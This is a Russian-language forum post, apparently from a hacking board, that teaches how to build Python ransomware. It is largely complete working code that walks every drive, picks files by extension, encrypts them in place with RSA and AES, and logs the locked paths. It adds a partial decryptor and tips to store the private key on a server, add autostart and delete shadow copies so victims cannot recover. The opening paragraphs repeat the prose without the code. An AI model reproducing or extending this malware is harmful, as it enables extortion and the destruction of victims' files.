Приветствую всех! Прежде чем читать статью предупреждаю, что показываю это все в ознакомительных целя. Приступим к кодингу.
Для начала я определился через какой алгоритм буду шифровать файлы. Я выбрал RSA.
Нашел туториал
Я разобрался надо просто установить
Окей, ошибки я миновал, все работает.
Этот кусок кода сгенерирует нам ключи.
Так теперь мы через
Обратите внимание там где
Теперь напишем функцию получения дисков в системе.
Определим переменные:
Напишем функцию гена ключей:
И теперь самое интересное, функция шифровки:
Таким образом мы будем передавать полученные диски в
Когда
Если будет ошибка что прав недостаточно, то файл пропускается.
Теперь сделаем так, чтобы он записывал в .locked файл, что он зашифровал, чтобы потом быстро можно было дешифровать.
Вот что у нас получилось:
Теперь мы должны сделать расшифровку, верно? Я не буду показывать полноценный код для того, чтобы если вам действительно это интересно, вы доделаете сами. Я покажу код, который просто считает ОДИН файл, расшифровывает его и выводит дату на экран. Вот код:
То есть что вам надо доделать в расшифровке, считать с файла
Я вам дал основу, дальше вы можете модифицировать этот код. Спасибо за внимание и не совершайте глупостей)
PS При считывание с файла в списке будет \n, с ним файлы расшифровываться не будут, чтобы убрать его(\n) используйте
PSPS Также стоит сделать так чтобы удалялись shadowcopy, чтобы назад откатиться не могли.
Для начала я определился через какой алгоритм буду шифровать файлы. Я выбрал RSA.
Нашел туториал
Ссылка скрыта от гостей
. Я начал с генерации ключей, но у меня появилась ошибка, хотя я скопировал код сайта.Я разобрался надо просто установить
pycryptodome
Код:
pip install pycryptodome
Код:
from Crypto.PublicKey import RSA
code = 'nooneknows'
key = RSA.generate(2048)
encrypted_key = key.exportKey(
passphrase=code,
pkcs=8,
protection="scryptAndAES128-CBC"
)
with open('my_private_rsa_key.bin', 'wb') as f:
f.write(encrypted_key)
with open('my_rsa_public.pem', 'wb') as f:
f.write(key.publickey().exportKey())
Этот кусок кода сгенерирует нам ключи.
Так теперь мы через
os.walk()
сделаем так, чтобы все файлы с нужным нам форматов добавлялись в список.
Код:
def GetDirectory(path):
for rootdir, dirs, files in os.walk(path):
for file in files:
if((file.decode('cp1251').split('.')[-1]) in ['doc','mov']):
sek = os.path.join(rootdir, file)
tmp.append(sek)
Обратите внимание там где
['doc','mov']
вы можете продолжать список, например: ['doc','mov','png','mp3']
Теперь напишем функцию получения дисков в системе.
Код:
def GetDisk():
for x in ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X']:
try:
path = x + ":\\"
os.chdir(path)
retval = os.getcwd()
disks.append(retval)
except WindowsError:
continue
Определим переменные:
Код:
disks = []
tmp = []
added = []
appdata = os.environ['appdata']
appdata += r'\\'
Напишем функцию гена ключей:
Код:
def GenRSA():
code = 'loli'
key = RSA.generate(2048)
encrypted_key = key.exportKey(
passphrase=code,
pkcs=8,
protection="scryptAndAES128-CBC"
)
with open(appdata + 'prk.bin', 'wb') as f:
f.write(encrypted_key)
with open(appdata + 'pbk.pem', 'wb') as f:
f.write(key.publickey().exportKey())
И теперь самое интересное, функция шифровки:
Код:
def Crypt(filename):
handle = open(filename,'rb')
data = handle.read()
handle.close()
data = bytes(data)
with open(filename, 'wb') as out_file:
recipient_key = RSA.import_key(
open(appdata + 'pbk.pem').read()
)
session_key = get_random_bytes(16)
cipher_rsa = PKCS1_OAEP.new(recipient_key)
out_file.write(cipher_rsa.encrypt(session_key))
cipher_aes = AES.new(session_key, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(data)
out_file.write(cipher_aes.nonce)
out_file.write(tag)
out_file.write(ciphertext)
Таким образом мы будем передавать полученные диски в
os.walk()
Код:
for d in disks:
GetDirectory(d)
Когда
os.walk()
соберет файлы с нужным нам форматом мы их прогоним через функцию crypt которая зашифрует их.
Код:
for filename in tmp:
try:
Crypt(filename)
added.append(filename)
except IOError:
continue
Если будет ошибка что прав недостаточно, то файл пропускается.
Теперь сделаем так, чтобы он записывал в .locked файл, что он зашифровал, чтобы потом быстро можно было дешифровать.
Код:
handle = open(appdata + 'cripted.lock','w')
for j in added:
handle.write(j)
handle.write('\n')
handle.close()
print 'done'
Вот что у нас получилось:
Код:
# -*- coding: utf-8 -*-
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from Crypto.Cipher import AES, PKCS1_OAEP
import os
disks = []
tmp = []
added = []
appdata = os.environ['appdata']
appdata += r'\\'
def GetDisk():
for x in ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X']:
try:
path = x + ":\\"
os.chdir(path)
retval = os.getcwd()
disks.append(retval)
except WindowsError:
continue
def GetDirectory(path):
for rootdir, dirs, files in os.walk(path):
for file in files:
if((file.decode('cp1251').split('.')[-1]) in ['doc','mov']):
sek = os.path.join(rootdir, file)
tmp.append(sek)
def GenRSA():
code = 'loli'
key = RSA.generate(2048)
encrypted_key = key.exportKey(
passphrase=code,
pkcs=8,
protection="scryptAndAES128-CBC"
)
with open(appdata + 'prk.bin', 'wb') as f:
f.write(encrypted_key)
with open(appdata + 'pbk.pem', 'wb') as f:
f.write(key.publickey().exportKey())
def Crypt(filename):
handle = open(filename,'rb')
data = handle.read()
handle.close()
data = bytes(data)
with open(filename, 'wb') as out_file:
recipient_key = RSA.import_key(
open(appdata + 'pbk.pem').read()
)
session_key = get_random_bytes(16)
cipher_rsa = PKCS1_OAEP.new(recipient_key)
out_file.write(cipher_rsa.encrypt(session_key))
cipher_aes = AES.new(session_key, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(data)
out_file.write(cipher_aes.nonce)
out_file.write(tag)
out_file.write(ciphertext)
GenRSA()
GetDisk()
for d in disks:
GetDirectory(d)
for filename in tmp:
try:
Crypt(filename)
added.append(filename)
except IOError:
continue
handle = open(appdata + 'cripted.lock','w')
for j in added:
handle.write(j)
handle.write('\n')
handle.close()
print 'done'
Теперь мы должны сделать расшифровку, верно? Я не буду показывать полноценный код для того, чтобы если вам действительно это интересно, вы доделаете сами. Я покажу код, который просто считает ОДИН файл, расшифровывает его и выводит дату на экран. Вот код:
Код:
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES, PKCS1_OAEP
import os #Импортим либы
code = 'loli'
appdata = os.environ['appdata']
appdata += r'\\' #Вводим переменные
with open('lx.txt', 'rb') as fobj:
private_key = RSA.import_key(
open(appdata + 'prk.bin').read(), #prk.bin это приватный ключ
passphrase=code
) # Открываем зашифрованный файл
enc_session_key, nonce, tag, ciphertext = [
fobj.read(x) for x in (private_key.size_in_bytes(), 16, 16, -1)
]
cipher_rsa = PKCS1_OAEP.new(private_key)
session_key = cipher_rsa.decrypt(enc_session_key)
cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)
data = cipher_aes.decrypt_and_verify(ciphertext, tag) #Расшифровываем
print(data)# Показываем дату расшифрованную
cripted.lock
пути к файлам, которые он зашифровал, и в цикл все это дело запихать и все файлы расшифровываем не выводим их содержимое а перезаписуем. Также можете по вкусу добавить автозагрузку, смена обоев и прочее. Еще один важный момент, у нас два ключа: публичный и приватный, приватный нужен для расшифровки поэтому его желательно хранить на сервере.Я вам дал основу, дальше вы можете модифицировать этот код. Спасибо за внимание и не совершайте глупостей)
PS При считывание с файла в списке будет \n, с ним файлы расшифровываться не будут, чтобы убрать его(\n) используйте
tmp = map(lambda s: s.strip(),tmp)
PSPS Также стоит сделать так чтобы удалялись shadowcopy, чтобы назад откатиться не могли.
Последнее редактирование: